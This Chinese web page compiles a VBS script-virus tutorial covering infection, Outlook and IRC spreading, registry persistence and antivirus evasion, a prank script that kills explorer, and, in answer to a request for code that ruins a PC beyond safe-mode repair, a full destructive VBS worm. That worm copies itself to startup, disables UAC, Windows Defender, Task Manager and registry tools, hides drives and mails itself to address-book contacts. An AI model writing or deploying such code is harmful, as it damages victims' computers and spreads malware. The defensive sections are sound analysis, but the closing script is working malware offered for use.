vbs病毒代码大全（VBS脚本病毒的病毒原理分析）

本文目录

• VBS脚本病毒的病毒原理分析
• 谁知道怎么用vbs写不能开机的病毒，给个代码就是一开就关机的病毒好了我给分
• 求一个超毒无比的vbs代码，最好能破坏电脑和安全模式也修复不了的vbs代码一定要超毒的
• vbs常用代码
• vbs代码大全
• 电脑病毒源代码介绍

VBS脚本病毒的病毒原理分析

1．vbs脚本病毒如何感染、搜索文件
VBS脚本病毒一般是直接通过自我复制来感染文件的，病毒中的绝大部分代码都可以直接附加在其他同类程序的中间，譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部，并在顶部加入一条调用病毒代码的语句，而宏病毒则是直接生成一个文件的副本，将病毒代码拷入其中，并以原文件名作为病毒文件名的前缀，vbs作为后缀。下面我们通过宏病毒的部分代码具体分析一下这类病毒的感染和搜索原理：
以下是文件感染的部分关键代码：
Set fso=createobject(scripting.filesystemobject)
’创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1)
’读打开当前文件（即病毒本身）
vbscopy=self.readall
’ 读取病毒全部代码到字符串变量vbscopy……
set ap=fso.opentextfile(目标文件.path,2,true)
’ 写打开目标文件，准备写入病毒代码
ap.write vbscopy ’ 将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path) ’得到目标文件路径
cop.copy(目标文件.path & .vbs)
’ 创建另外一个病毒文件（以.vbs为后缀）
目标文件.delete(true)
’删除目标文件
上面描述了病毒文件是如何感染正常文件的：首先将病毒自身代码赋给字符串变量vbscopy，然后将这个字符串覆盖写到目标文件，并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本，最后删除目标文件。
下面我们具体分析一下文件搜索代码：
’该函数主要用来寻找满足条件的文件，并生成对应文件的一个病毒副本
sub scan(folder_) ’scan函数定义，
on error resume next ’如果出现错误，直接跳过，防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files ’ 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file)
’获取文件后缀
ext=lcase(ext) ’后缀名转换成小写字母
if ext=mp5 then ’如果后缀名是mp5，则进行感染。
请自己建立相应后缀名的文件，最好是非正常后缀名 ，以免破坏正常程序。
Wscript.echo (file)
end ifnextset subfolders=folder_.subfoldersfor each subfolder in subfolders ’搜索其他目录；递归调用
scan( ) scan(subfolder)
next
end sub
上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍，非常巧妙，采用了一个递归的算法遍历整个分区的目录和文件。
2．vbs脚本病毒通过网络传播的几种方式及代码分析
VBS脚本病毒之所以传播范围广，主要依赖于它的网络传播功能，一般来说，VBS脚本病毒采用如下几种方式进行传播：
1）通过Email附件传播
这是一种用的非常普遍的传播方式，病毒可以通过各种方法拿到合法的Email地址，最常见的就是直接取outlook地址簿中的邮件地址，也可以通过程序在用户文档（譬如htm文件）中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的：
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject(Outlook.Application)
//创建一个OUTLOOK应用的对象
If outlookApp= Outlook Then
Set mapiObj=outlookApp.GetNameSpace(MAPI)
//获取MAPI的名字空间
Set addrList= mapiObj.AddressLists
//获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count 《》 0 Then
addrEntCount = addr.AddressEntries.Count
//获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount
//遍历地址表的Email地址
Set item = outlookApp.CreateItem(0)
//获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex)
//获取具体Email地址
= addrEnt.Address
//填入收信人地址
item.Subject = 病毒传播实验
//写入邮件标题
item.Body = 这里是病毒邮件传播测试，收到此信请不要慌张！
//写入文件内容
Set attachMents=item.Attachments //定义邮件附件
attachMents.Add fileSysObj.GetSpecialFolder(0)&\test.jpg.vbs
item.DeleteAfterSubmit = True
//信件提交后自动删除
Then
item.Send
//发送邮件
shellObj.regwrite HKCU\software\Mailtest\mailed, 1
//病毒标记，以免重复感染
End If
NextEnd IfNext
End if
End Function
2）通过局域网共享传播
局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说，为了局域网内交流方便，一定存在不少共享目录，并且具有可写权限，譬如win2000创建共享时，默认就是具有可写权限。这样病毒通过搜索这些共享目录，就可以将病毒代码传播到这些目录之中。
在VBS中，有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。
welcome_msg = 网络连接搜索测试
Set WSHNetwork = WScript.CreateObject(WScript.Network)
’创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections
’创建一个网络打印机连接列表
WScript.Echo Network printer mappings:
For i = 0 to oPrinters.Count - 1Step2
’显示网络打印机连接情况
WScript.Echo Port &oPrinters.Item(i)
& = & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives
’创建一个网络共享连接列表
If colDrives.Count = 0 Then
MsgBox 没有可列出的驱动器。,
vbInformation + vbOkOnly,welcome_msg
Else
strMsg = 当前网络驱动器连接: &CRLF
Fori=0To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13)&Chr(10)&colDrives(i)
& Chr(9)&colDrives(i+1)
Next
MsgBox strMsg, vbInformation + vbOkOnly,
welcome_msg’显示当前网络驱动器连接
End If
上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后，我们就可以直接向目标驱动器读写文件了。
3）通过感染htm、asp、jsp、php等网页文件传播
如今，WWW服务已经变得非常普遍，病毒通过感染htm等文件，势必会导致所有访问过该网页的用户机器感染病毒。
病毒之所以能够在htm文件中发挥强大功能，采用了和绝大部分网页恶意代码相同的原理。基本上，它们采用了相同的代码，不过也可以采用其它代码，这段代码是病毒FSO,WSH等对象能够在网页中运行的关键。在注册表HKEY_CLASSES_ROOT\CLSID\下我们可以找到这么一个主键，注册表中对它他的说明是“Windows Script Host Shell Object”，同样，我们也可以找到，注册表对它的说明是“FileSystem Object”，一般先要对COM进行初始化，在获取相应的组件对象之后，病毒便可正确地使用FSO、WSH两个对象，调用它们的强大功能。代码如下所示：
Set Apple0bject = document.applets(KJ_guest)Apple0bject.setCLSID()Apple0bject.createInstance() ’创建一个实例
Set WsShell Apple0bject.Get0bject()
Apple0bject.setCLSID()
Apple0bject.createInstance()
’创建一个实例
Set FSO = Apple0bject.Get0bject()
对于其他类型文件，这里不再一一分析。
4）通过IRC聊天通道传播
病毒通过IRC传播一般来说采用以下代码（以MIRC为例）
Dim mirc
set fso=CreateObject(Scripting.FileSystemObject)
set mirc=fso.CreateTextFile(C:\mirc\script.ini)
’创建文件script.ini
fso.CopyFile Wscript.ScriptFullName, C:\mirc\attachment.vbs,
True ’将病毒文件备份到attachment.vbs
mirc.WriteLine
mirc.WriteLine n0=on 1:join:*.*:
{if($nick !=$me) /dcc send $nick C:\mirc\attachment.vbs }
’利用命令/ddc send $nick attachment.vbs给通道中的其他用户传送病毒文件
mirc.Close
以上代码用来往Script.ini文件中写入一行代码，实际中还会写入很多其他代码。Script.ini中存放着用来控制IRC会话的命令，这个文件里面的命令是可以自动执行的。譬如，TUNE.VBS病毒就会修改c:\mirc\script.ini 和 c:\mirc\mirc.ini，使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。同样，如果Pirch98已安装在目标计算机的c:\pirch98目录下，病毒就会修改c:\pirch98\events.ini和c:\pirch98\pirch98.ini，使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。
另外病毒也可以通过现在广泛流行的KaZaA进行传播。病毒将病毒文件拷贝到KaZaA的默认共享目录中，这样，当其他用户访问这台机器时，就有可能下载该病毒文件并执行。这种传播方法可能会随着KaZaA这种点对点共享工具的流行而发生作用。
还有一些其他的传播方法，我们这里不再一一列举。
3．VBS脚本病毒如何获得控制权
如何获取控制权？这一个是一个比较有趣的话题，而VBS脚本病毒似乎将这个话题发挥的淋漓尽致。笔者在这里列出几种典型的方法：
1）修改注册表项
windows在启动的时候，会自动加载HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run项下的各键值所执向的程序。脚本病毒可以在此项下加入一个键值指向病毒程序，这样就可以保证每次机器启动的时候拿到控制权。vbs修改注册表的方法比较简单，直接调用下面语句即可。 wsh.RegWrite(strName, anyvalue )
2）通过映射文件执行方式
譬如，我们新欢乐时光将dll的执行方式修改为wscript.exe。甚至可以将exe文件的映射指向病毒代码。
3）欺骗用户，让用户自己执行
这种方式其实和用户的心理有关。譬如，病毒在发送附件时，采用双后缀的文件名，由于默认情况下，后缀并不显示，举个例子，文件名为beauty.jpg.vbs的vbs程序显示为beauty.jpg，这时用户往往会把它当成一张图片去点击。同样，对于用户自己磁盘中的文件，病毒在感染它们的时候，将原有文件的文件名作为前缀，vbs作为后缀产生一个病毒文件，并删除原来文件，这样，用户就有可能将这个vbs文件看作自己原来的文件运行。
4）desktop.ini和folder.htt互相配合
这两个文件可以用来配置活动桌面，也可以用来自定义文件夹。如果用户的目录中含有这两个文件，当用户进入该目录时，就会触发folder.htt中的病毒代码。这是新欢乐时光病毒采用的一种比较有效的获取控制权的方法。并且利用folder.htt，还可能触发exe文件，这也可能成为病毒得到控制权的一种有效方法！
病毒获得控制权的方法还有很多，这方面作者发挥的余地也比较大。
4．vbs脚本病毒对抗反病毒软件的几种技巧
病毒要生存，对抗反病毒软件的能力也是必需的。一般来说，VBS脚本病毒采用如下几种对抗反病毒软件的方法：
1）自加密
譬如，新欢乐时光病毒，它可以随机选取密钥对自己的部分代码进行加密变换，使得每次感染的病毒代码都不一样，达到了多态的效果。这给传统的特征值查毒法带来了一些困难。病毒也还可以进一步的采用变形技术，使得每次感染后的加密病毒的解密后的代码都不一样。
下面看一个简单的vbs脚本变形引擎(来自flyshadow)
Randomize
Set Of = CreateObject(Scripting.FileSystemObject)
’创建文件系统对象
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall
’读取自身代码
fS=Array(Of, vC, fS, fSC)
’定义一个即将被替换字符的数组
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65))
& Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65))
& Chr((Int(Rnd * 22) + 65)))
’取4个随机字符替换数组fS中的字符串
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC ’将替换后的代码写回文件
上面这段代码使得该VBS文件在每次运行后，其Of，vC，fS，fSC四字符串都会用随机字符串来代替，这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。
2）巧妙运用Execute函数
用过VBS程序的朋友是否会觉得奇怪：当一个正常程序中用到了FileSystemObject对象的时候，有些反病毒软件会在对这个程序进行扫描的时候报告说此Vbs文件的风险为高，但是有些VBS脚本病毒同样采用了FileSystemObject对象，为什么却又没有任何警告呢？原因很简单，就是因为这些病毒巧妙的运用了Execute方法。有些杀毒软件检测VBS病毒时，会检查程序中是否声明使用了FileSystemObject对象，如果采用了，这会发出报警。如果病毒将这段声明代码转化为字符串，然后通过Execute(String)函数执行，就可以躲避某些反病毒软件。
3）改变某些对象的声明方法
譬如fso=createobject(scripting.filesystemobject)，我们将其改变为
fso=createobject(script+ing.filesyste+mobject)，这样反病毒软件对其进行静态扫描时就不会发现filesystemobject对象。
4）直接关闭反病毒软件
VBS脚本功能强大，它可以直接在搜索用户进程然后对进程名进行比较，如果发现是反病毒软件的进程就直接关闭，并对它的某些关键程序进行删除。
5．Vbs病毒生产机的原理介绍
所谓病毒生产机就是指可以直接根据用户的选择产生病毒源代码的软件。在很多人看来这或许不可思议，其实对脚本病毒而言它的实现非常简单。
脚本语言是解释执行的、不需要编译，程序中不需要什么校验和定位，每条语句之间分隔得比较清楚。这样，先将病毒功能做成很多单独的模块，在用户做出病毒功能选择后，生产机只需要将相应的功能模块拼凑起来，最后再作相应的代码替换和优化即可。由于篇幅关系和其他原因，这里不作详细介绍。
三、如何防范vbs脚本病毒
1．如何从样本中提取（加密）脚本病毒
对于没有加密的脚本病毒，我们可以直接从病毒样本中找出来，现在介绍一下如何从病毒样本中提取加密VBS脚本病毒，这里我们以新欢乐时光为例。
用JediEdit打开folder.htt。我们发现这个文件总共才93行，第一行，几行注释后，以开始，节尾。相信每个人都知道这是个什么类型的文件吧！
第87行到91行，是如下语句：
87：
第87和91行不用解释了，第88行是一个字符串的赋值，很明显这是被加密过的病毒代码。看看89行最后的一段代码ThisText = ThisText & TempChar，再加上下面那一行，我们肯定能够猜到ThisText里面放的是病毒解密代码（熟悉vbs的兄弟当然也可以分析一下这段解密代码，too simple!就算完全不看代码也应该可以看得出来的)。第90行是执行刚才ThisText中的那段代码（经过解密处理后的代码）。
那么，下一步该怎么做呢？很简单，我们只要在病毒代码解密之后，将ThisText的内容输出到一个文本文件就可以解决了。由于上面几行是vbscript,于是我创建了如下一个.txt文件：
首先，copy第88、89两行到刚才建立的.txt文件，当然如果你愿意看看新欢乐时光的执行效果，你也可以在最后输入第90行。然后在下面一行输入创建文件和将ThisText写入文件vbs代码，整个文件如下所示：
ExeString = Afi...’ 第88行代码
Execute(Dim KeyAr... ’ 第89行代码
set fso=createobject(scripting.filesystemobject)
’ 创建一个文件系统对象
set virusfile=fso.createtextfile(resource.log,true)
’ 创建一个新文件resource.log，
用以存放解密后的病毒代码 virusfile.writeline(ThisText)
’ 将解密后的代码写入resource.log
OK！就这么简单，保存文件，将该文件后缀名.txt改为.vbs(.vbe也可以)，双击，你会发现该文件目录下多了一个文件resource.log，打开这个文件，怎么样？是不是“新欢乐时光”的源代码啊！
2．vbs脚本病毒的弱点
vbs脚本病毒由于其编写语言为脚本，因而它不会像PE文件那样方便灵活，它的运行是需要条件的（不过这种条件默认情况下就具备了）。笔者认为，VBS脚本病毒具有如下弱点：
1）绝大部分VBS脚本病毒运行的时候需要用到一个对象：FileSystemObject
2）VBScript代码是通过Windows Script Host来解释执行的。
3）VBS脚本病毒的运行需要其关联程序Wscript.exe的支持。
4）通过网页传播的病毒需要ActiveX的支持
5）通过Email传播的病毒需要OE的自动发送邮件功能支持，但是绝大部分病毒都是以Email为主要传播方式的。
3．如何预防和解除vbs脚本病毒
针对以上提到的VBS脚本病毒的弱点，笔者提出如下集中防范措施：
1）禁用文件系统对象FileSystemObject
方法：用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。其中regsvr32是Windows\System下的可执行文件。或者直接查找scrrun.dll文件删除或者改名。
还有一种方法就是在注册表中HKEY_CLASSES_ROOT\CLSID\下找到一个主键的项，咔嚓即可。
2）卸载Windows Scripting Host
在Windows 98中（NT 4.0以上同理），打开，取消“Windows Scripting Host”一项。
和上面的方法一样，在注册表中HKEY_CLASSES_ROOT\CLSID\下找到一个主键的项，咔嚓。
3）删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射
点击，然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射。
4）在Windows目录中，找到WScript.exe，更改名称或者删除，如果你觉得以后有机会用到的话，最好更改名称好了，当然以后也可以重新装上。
5）要彻底防治VBS网络蠕虫病毒，还需设置一下你的浏览器。我们首先打开浏览器，单击菜单栏里“Internet 选项”安全选项卡里的按钮。把“ActiveX控件及插件”的一切设为禁用，这样就不怕了。呵呵，譬如新欢乐时光的那个ActiveX组件如果不能运行，网络传播这项功能就玩完了。
6）禁止OE的自动收发邮件功能
7）由于蠕虫病毒大多利用文件扩展名作文章，所以要防范它就不要隐藏系统中已知文件类型的扩展名。Windows默认的是“隐藏已知文件类型的扩展名称”，将其修改为显示所有文件类型的扩展名称。
8）将系统的网络连接的安全级别设置至少为“中等”，它可以在一定程度上预防某些有害的Java程序或者某些ActiveX组件对计算机的侵害。
9）呵呵，最后一项不说大家也应该知道了，杀毒软件确实很必要，尽管有些杀毒软件挺让广大用户失望，不过，选择是双方的哦。在这个病毒横飞的网络，如果您的机器没有装上杀毒软件我觉得确实挺不可思议的。
四、对所有脚本类病毒发展的展望
随着网络的飞速发展，网络蠕虫病毒开始流行，而VBS脚本蠕虫则更加突出，不仅数量多，而且威力大。由于利用脚本编写病毒比较简单，除了将继续流行目前的VBS脚本病毒外，将会逐渐出现更多的其它脚本类病毒，譬如PHP，JS，Perl病毒等。但是脚本并不是真正病毒技术爱好者编写病毒的最佳工具，并且脚本病毒解除起来比较容易、相对容易防范。笔者认为，脚本病毒仍将继续流行，但是能够具有像宏病毒、新欢乐时光那样大影响的脚本蠕虫病毒只是少数。

谁知道怎么用vbs写不能开机的病毒，给个代码就是一开就关机的病毒好了我给分

新建一个TXT文件，打开，把整人代码放进去，保存。然后把文件扩展名改成.VBS，发送给别人，运行，就能整人了。
比如：
gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im .exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I’m sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"
这个整人程序，既不会关机，也不会对电脑有伤害，就是有点烦。
VBScript(Microsoft Visual Basic Script Editon).，微软公司可视化BASIC脚本版). 正如其字面所透露的信息, VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言。进一步解释一下, Microsoft Visual Basic是微软公司出品的一套可视化编程工具, 语法基于Basic. 脚本语言, 就是不编译成二进制文件, 直接由宿主(host)解释源代码并执行, 简单点说就是写的程序不需要编译成.exe,，而是直接给用户发送.vbs的源程序, 用户就能执行了。

求一个超毒无比的vbs代码，最好能破坏电脑和安全模式也修复不了的vbs代码一定要超毒的

送你了
On Error Resume Next
set fso=createobject("scripting.filesystemobject")
set vbs=wscript.createobject("wscript.shell")
pt=vbs.specialfolders("startup") & "\"
set file=fso.getfile(wscript.scriptfullname)
file.copy pt
set fso=createobject("scripting.filesystemobject")
set vbs=wscript.createobject("wscript.shell")
pt=vbs.specialfolders(1) & "\"
set file=fso.getfile(wscript.scriptfullname)
file.copy pt
set ws=wscript.createobject("wscript.shell")
ws.popup "正在验证I/O接口...",3,"接口工具",vbinformation
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoNetSetup",1,"REG_DWORD"
if err.number《》0 then
On Error Goto 0
err.raise 1,"无法匹配的I/O接口,请以ADMINISTRATOR用户运行重试","Access failed (no permission)"
end if
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\脚本病毒加强版.vbs","RUNASADMIN","REG_SZ"
ws.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin",0,"REG_DWORD"
ws.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA",0,"REG_DWORD"
ws.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop",0,"REG_DWORD"
ws.run "cmd /c echo 0》C:\Windows\Web\Screen\e.bmp"
Set ol=CreateObject("Out"+"look"+".Application")
For x=1 To 100
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="工作报告"
Mail.Body="您好，这是今月的工作报告"
Mail.Attachments.Add(dir2&"Win32system.vbs")
Mail.Send
Next
ol.Quit
ws.run "cmd /c echo Your Computer Has Been Destoryed!》e.txt"
ws.run "cmd /c echo Your Computer Has Been Destoryed!》c:\e.txt"
wscript.sleep 2000
ws.regwrite "HKCU\Control Panel\Desktop\wallpaper","C:\Windows\Web\Screen\e.bmp","REG_SZ"
ws.run "RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters"
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoNetSetup",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoNetSetupIDPage",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoNetSetupSecurityPage",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoEntireNetwork",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoWorkgroupContents",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoFileSharingControl",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\NoPrintSharingControl",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CLASSES_ROOT\directory\background\ShellEx\ContextMenuHandlers\New\",0,"REG_SZ"
wscript.sleep 100
ws.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService\Start",4,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\noclose","1","REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrivers",67108863,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent",0,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies\WriteProtect",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\StartMenuLogOff",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWindowsUpdate",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetActiveDesktop",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoActiveDesktop",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoActiveDesktopChanges",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Nodesktop",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoAddPrinter",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDeletePrinter",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPrinterTabs",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSaveSettings",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun",1,"REG_DWORD"
wscript.sleep 100
ws.regwrite "HKEY_CURRENT_USER\ControlPanel\Desktop\CoolSwitch",0,"REG_SZ"
wscript.sleep 100
ws.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive",67108863,"REG_DWORD"
ws.run "cmd /c taskkill /f /im explorer.exe"
wscript.sleep 3000
